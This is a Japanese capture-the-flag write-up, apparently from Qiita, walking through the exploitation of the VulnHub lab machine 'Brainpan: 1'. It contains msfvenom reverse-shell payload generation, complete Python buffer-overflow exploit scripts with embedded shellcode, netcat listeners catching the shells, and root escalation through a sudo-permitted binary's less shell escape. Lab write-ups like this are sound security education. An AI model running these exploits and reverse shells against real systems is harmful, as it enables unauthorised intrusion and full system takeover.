<img width="649" alt="badchars.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3e00a995-1eee-32a3-1baa-60cfb57a35e0.png">
`brainpan.exe`では、`\x01`から`\xFF`まで途切れていません。すなわち、特別に禁じられている`Bad Characters`はありませんでした。

### Exploitの検証
`msfvenomu`コマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルシェルコードを生成します。コマンド構文は、`msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt`です。

```
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~#
```

用意した`shellcode.txt`を送信するようにコードを書き換えます。このとき、シェルコード本体の前に`NOP`（No Operation）命令（`\x90`）を8つ挿入しています。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xda\xc2\xb8\xc1\x52\xef\xec\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x17\x03\x43\x17\x83\x02\x56\x0d\x19\x78\xbf\x53"
"\xe2\x80\x40\x34\x6a\x65\x71\x74\x08\xee\x22\x44\x5a\xa2\xce"
"\x2f\x0e\x56\x44\x5d\x87\x59\xed\xe8\xf1\x54\xee\x41\xc1\xf7"
"\x6c\x98\x16\xd7\x4d\x53\x6b\x16\x89\x8e\x86\x4a\x42\xc4\x35"
"\x7a\xe7\x90\x85\xf1\xbb\x35\x8e\xe6\x0c\x37\xbf\xb9\x07\x6e"
"\x1f\x38\xcb\x1a\x16\x22\x08\x26\xe0\xd9\xfa\xdc\xf3\x0b\x33"
"\x1c\x5f\x72\xfb\xef\xa1\xb3\x3c\x10\xd4\xcd\x3e\xad\xef\x0a"
"\x3c\x69\x65\x88\xe6\xfa\xdd\x74\x16\x2e\xbb\xff\x14\x9b\xcf"
"\xa7\x38\x1a\x03\xdc\x45\x97\xa2\x32\xcc\xe3\x80\x96\x94\xb0"
"\xa9\x8f\x70\x16\xd5\xcf\xda\xc7\x73\x84\xf7\x1c\x0e\xc7\x9f"
"\xd1\x23\xf7\x5f\x7e\x33\x84\x6d\x21\xef\x02\xde\xaa\x29\xd5"
"\x21\x81\x8e\x49\xdc\x2a\xef\x40\x1b\x7e\xbf\xfa\x8a\xff\x54"
"\xfa\x33\x2a\xfa\xaa\x9b\x85\xbb\x1a\x5c\x76\x54\x70\x53\xa9"
"\x44\x7b\xb9\xc2\xef\x86\x2a\x41\xff\x58\x58\xf1\x02\x58\x8c"
"\x5e\x8a\xbe\xc4\x4e\xda\x69\x71\xf6\x47\xe1\xe0\xf7\x5d\x8c"
"\x23\x73\x52\x71\xed\x74\x1f\x61\x9a\x74\x6a\xdb\x0d\x8a\x40"
"\x73\xd1\x19\x0f\x83\x9c\x01\x98\xd4\xc9\xf4\xd1\xb0\xe7\xaf"
"\x4b\xa6\xf5\x36\xb3\x62\x22\x8b\x3a\x6b\xa7\xb7\x18\x7b\x71"
"\x37\x25\x2f\x2d\x6e\xf3\x99\x8b\xd8\xb5\x73\x42\xb6\x1f\x13"
"\x13\xf4\x9f\x65\x1c\xd1\x69\x89\xad\x8c\x2f\xb6\x02\x59\xb8"
"\xcf\x7e\xf9\x47\x1a\x3b\x19\xaa\x8e\x36\xb2\x73\x5b\xfb\xdf"
"\x83\xb6\x38\xe6\x07\x32\xc1\x1d\x17\x37\xc4\x5a\x9f\xa4\xb4"
"\xf3\x4a\xca\x6b\xf3\x5e")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()
```

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、`Python`コマンドを実行します。

```
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.128] 49218
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\bin>hostname
hostname
VMOSX-WIN7-CNT
```

## アクセスの取得
これまでに判明した、`brainpan.exe`が抱えるバッファオーバーフローの脆弱性と、ペイロードを組み合わせて、「[Brainpan: 1](https://www.vulnhub.com/entry/brainpan-1,51/)」のアクセスの取得を狙います。

「[Brainpan: 1](https://www.vulnhub.com/entry/brainpan-1,51/)」はLinuxターゲットです。このため、再度、`msfvenom`コマンドを使用して、Linux対応なリバースシェルシェルコードを生成します。

```
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 -a x86 --platform linux -b "\x00" -f c > shellcode_lin.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
root@kali:~#
```

用意した`shellcode_lin.txt`を送信するようにコードを書き換えます。

```
#!/usr/bin/python
import sys,socket
host = "172.16.208.233"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8

shellcode = ("\xb8\x45\x12\x30\x8d\xda\xd8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x12\x83\xc3\x04\x31\x43\x0e\x03\x06\x1c\xd2\x78\xb9\xfb\xe5"
"\x60\xea\xb8\x5a\x0d\x0e\xb6\xbc\x61\x68\x05\xbe\x11\x2d\x25"
"\x80\xd8\x4d\x0c\x86\x1b\x25\x23\x68\x0c\x47\x53\x8b\xac\xb6"
"\xf8\x02\x4d\x08\x66\x45\xdf\x3b\xd4\x66\x56\x5a\xd7\xe9\x3a"
"\xf4\x86\xc6\xc9\x6c\x3f\x36\x01\x0e\xd6\xc1\xbe\x9c\x7b\x5b"
"\xa1\x90\x77\x96\xa2")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()
```

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、`Python`コマンドを実行します。

```
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.233] 58149
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
hostname
brainpan
```

## システム探索

`python`コードで、`nc`シェルを`TTY`シェルにアップグレードします。

```
python -c "import pty; pty.spawn('/bin/bash')"
puck@brainpan:/home/puck$
```

`sudo`権限が付与されていれば、特権昇格の手間を省くことができそうです。`sudo -l`コマンド構文にて確認してみます。

```
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$
```

`(root) NOPASSWD: /home/anansi/bin/anansi_util`の記録に注目します。パスワードなしで`sudo`権限が付与されているようです。実際に、実行してみます。

```
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
puck@brainpan:/home/puck$
```

## 特権の引き上げ

`anansi_util`バイナリは`less`コマンドを使用してマニュアルページを表示する機能を提供しています。`less`コマンドには、閲覧中に任意のシェルコマンドを実行できる機能が提供されています。

* lessで表示している際の主なキー操作

|キー操作|内容|
|:---|:---|
|!コマンド|シェルでコマンドを実行する（シェルは環境変数SHELLで変更可能）|

この機能の裏をついて、`/bin/bash`を起動してみましょう。

```
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man#
```

特権昇格に成功しました。特権昇格後、`/root`ディレクトリを探索します。`b.txt`ファイルが確認できます。

```
root@brainpan:~# cd /root; hostname; id; cat b.txt
cd /root; hostname; id; cat b.txt
brainpan
uid=0(root) gid=0(root) groups=0(root)
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 



root@brainpan:~#
```

# 参考資料
- [スタックベースバッファオーバーフローの脆弱性を突くエクスプロイトコードの開発](https://qiita.com/v_avenger/items/0af8602e4572889f9184)